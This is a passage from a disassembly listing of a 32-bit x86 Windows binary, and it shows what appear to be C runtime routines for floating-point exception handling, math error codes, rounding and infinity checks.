loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D800, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDEC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D800, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26613E3h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D400
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3F0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D400
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D400
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3F0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDEC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDEC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D318


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3F0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D31C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
